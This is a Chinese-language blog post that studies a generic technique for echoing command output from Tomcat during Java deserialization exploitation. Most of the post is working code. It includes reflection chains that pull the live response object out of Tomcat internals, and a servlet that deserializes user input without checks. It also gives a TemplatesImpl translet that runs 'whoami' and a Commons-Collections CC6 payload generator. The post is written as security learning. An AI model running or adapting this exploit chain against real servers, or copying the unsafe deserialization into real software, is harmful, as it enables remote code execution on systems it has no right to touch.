一种Tomcat通用回显方法的学习
前言
在利用反序列化的漏洞中,很多时候都是没有回显的,这在很大程度上限制了漏洞的危害,本文就学习一下Litch1
师傅提出的一种在Tomcat下获取回显的通用方法。
大佬思路
在之前学习反序列化注入内存马的时候,也看过一篇tomcat获取回显的文章,也就是kingkk
师傅的Tomcat中一种半通用回显方法
。kingkk师傅的思路就是在运行过程中修改一个变量,然后就会满足某个判断条件,使resquest
和response
对象被存储进ThreadLocal
,然后我们就可以从ThreadLocal
中取出request
和response
对象,进而获取回显。
Litch1
师傅的思路跟kingkk
的思路有相似的地方,Litch1
师傅是忽略框架,直接在Tomcat全局寻找存储了request
和response
对象的类。
流程分析
Litch1
师傅找到了Http11Processor
,起一个web项目看一下调用链
可以看到过程中是调用了Http11Processor
的service
方法
可以看到,该类的request
和response
成员变量中存储了request
对象和response
对象。但是在定义中,并没有看到这两个属性的定义,最后发现这两个属性是在其父类AbstractProcessor
中定义的
可以看到是final
类型,那么我们只要获取到这个Http11Processor
的对象就可以拿到requset
和response
。看一下在哪里存储了Http11Processor
的实例
可以看到,Http11Processor
在AbstractProtocol$ConnectionHandler#process
中实例化,然后作为参数传入register
方法,跟进一下
在register
方法中,先从processor
中获取到请求信息rp,然后调用setGlobalProcessor
方法将其存入AbstractProtocol$ConnectionHandler
的global
属性中。看一下global的定义
final类型,说明rp被存进去后就不会改变了。所以我们只要获取到global
就能够获取到request
和response
,也就是说我们现在要想办法获取AbstractProtocol
的对象,或者他子类的对象。现在关注到CoyoteAdapter
,看到其connector
成员变量
可以看到connector中有一个与AbstractProtocol
相关的字段protocolHandler
,AbstractProtocol
就实现了该接口。并且,实现了该接口的类,且与HTTP11相关的,都继承了AbstractProtocol
,让我们调试看看
可以看到protocolHandler
是Http11NioProtocol
类型的,而Http11NioProtocol
继承了AbstractProtocol
。所以只要获取到这个connector
,也就可以获取到这个protocolHandler
而在调试的过程中,发现connector
存储在service
(即StandardService)中,在之前学习servlet内存马注入的时候,就已经学习了怎么获取service,所以这里获取request和response的链为
StandardService->connector->AbstractProtocol$ConnectoinHandler->global->RequestInfo->Request->Response
突然发现之前获取service的方法中context是直接利用request对象获取的,尴尬了。还是看一下大师傅的获取方法
看大师傅的方法还得先了解一下Tomcat的类加载机制,Tomcat的类加载机制不是传统的双亲委派。
就比如有这样一个场景:在tomcat中由两个webapp,A依赖了common-collection 3.1
,B依赖了common-collection 3.2
,传统的类加载机制是利用全限定类名进行加载,这时就不能同时加载,而只能加载一个版本。所以为了解决这个问题,我们就需要实现webapp间的隔离,tomcat实现隔离的方式就是每个webapp使用一个独有的classloader实例优先处理加载,这个classloader就是WebappClassLoader
最后找到的Thread和Tomcat 运行上下文的联系之一就是WebappClassLoaderBase
,链子
WebappClassLoaderBase->ApplicationContext(getResources().getContext())->StandardService->connector->AbstractProtocol$ConnectoinHandler->global->RequestInfo->Request->Response
可以看到我们可以在WebappClassLoaderBase
的resource中获取到StandardContext
,那么获取service的代码如下
WebappClassLoaderBase classLoaderBase= (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext= (StandardContext) classLoaderBase.getResources().getContext();
Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext);
Field servicef=applicationContext.getClass().getDeclaredField("service");
servicef.setAccessible(true);
StandardService service=(StandardService) servicef.get(applicationContext);
写一个完整的获取回显的demo
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%@ page import="org.apache.catalina.core.StandardService" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.coyote.RequestGroupInfo" %>
<%@ page import="org.apache.coyote.AbstractProtocol" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.Writer" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
//获取service属性
WebappClassLoaderBase classLoaderBase= (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext= (StandardContext) classLoaderBase.getResources().getContext();
Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext);
Field servicef=applicationContext.getClass().getDeclaredField("service");
servicef.setAccessible(true);
StandardService service=(StandardService) servicef.get(applicationContext);
//获取connector
Connector[] connectors=service.findConnectors();
Connector connector=connectors[0];
//获取global
AbstractProtocol abstractProtocol= (AbstractProtocol) connector.getProtocolHandler();
Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
Object connectionHandler=getHandler.invoke(abstractProtocol);
Method getGlobal=Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal");
RequestGroupInfo global= (RequestGroupInfo) getGlobal.invoke(connectionHandler);
//获取request
Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsf.setAccessible(true);
ArrayList<RequestInfo> processors= (ArrayList<RequestInfo>) processorsf.get(global);
RequestInfo requestInfo=processors.get(0);
Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
org.apache.coyote.Request request1=(org.apache.coyote.Request) req.get(requestInfo);
Request request2=(Request) request1.getNote(1);
//获取response
Response response1=request2.getResponse();
Writer writer=response1.getWriter();
writer.write("hello");
%>
到此,我们也就成功实现了回显
研究该方法的目的很大程度上就是为了实现反序列化回显,所以这里通过反序列化试试看,使用cc6的payload
反序列化点
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class Unser extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doGet(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String exp= req.getParameter("exp");
byte[] bytecode= Base64.getDecoder().decode(exp.getBytes(StandardCharsets.UTF_8));
ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(bytecode));
try {
Object newobj=unser.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
Code.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class Code extends AbstractTranslet {
public Code(){
try{
//获取service属性
WebappClassLoaderBase classLoaderBase= (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext= (StandardContext) classLoaderBase.getResources().getContext();
Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext);
Field servicef=applicationContext.getClass().getDeclaredField("service");
servicef.setAccessible(true);
StandardService service=(StandardService) servicef.get(applicationContext);
//获取connector
Connector[] connectors=service.findConnectors();
Connector connector=connectors[0];
//获取global
AbstractProtocol abstractProtocol= (AbstractProtocol) connector.getProtocolHandler();
Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
Object connectionHandler=getHandler.invoke(abstractProtocol);
Method getGlobal=Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal");
RequestGroupInfo global= (RequestGroupInfo) getGlobal.invoke(connectionHandler);
//获取request
Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsf.setAccessible(true);
ArrayList<RequestInfo> processors= (ArrayList<RequestInfo>) processorsf.get(global);
RequestInfo requestInfo=processors.get(0);
Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
org.apache.coyote.Request request1=(org.apache.coyote.Request) req.get(requestInfo);
Request request2=(Request) request1.getNote(1);
//获取response
Response response1=request2.getResponse();
Writer writer=response1.getWriter();
byte[] bytes = new byte[1024];
InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
writer.write(new String(baos.toByteArray()));
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
ser.java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class ser {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, InstantiationException, IllegalAccessException, ClassNotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("Code");
byte[] bytecode=cc.toBytecode();
byte[][] bytee= new byte[][]{bytecode};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",bytee);
setFieldValue(templates,"_name","Code");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Map old = new HashMap();
Transformer[] x = new Transformer[]{
ConstantTransformer.getInstance(templates),
InvokerTransformer.getInstance("newTransformer",new Class[0],new Object[0])
};
Transformer[] fakeTransformers=new Transformer[]{new ConstantTransformer(1)};
Transformer chain= new ChainedTransformer(fakeTransformers);
Map newmap = LazyMap.decorate(old,chain);
TiedMapEntry entry=new TiedMapEntry(newmap,"novic4");
Map ht=new HashMap();
ht.put(entry,"novic4");
newmap.remove("novic4");
Field trans=ChainedTransformer.class.getDeclaredField("iTransformers");
trans.setAccessible(true);
trans.set(chain,x);
try{
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeObject(ht);
oser.close();
byte[] base64code=Base64.getEncoder().encode(ser.toByteArray());
String exp=new String(base64code);
System.out.println(exp);
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
}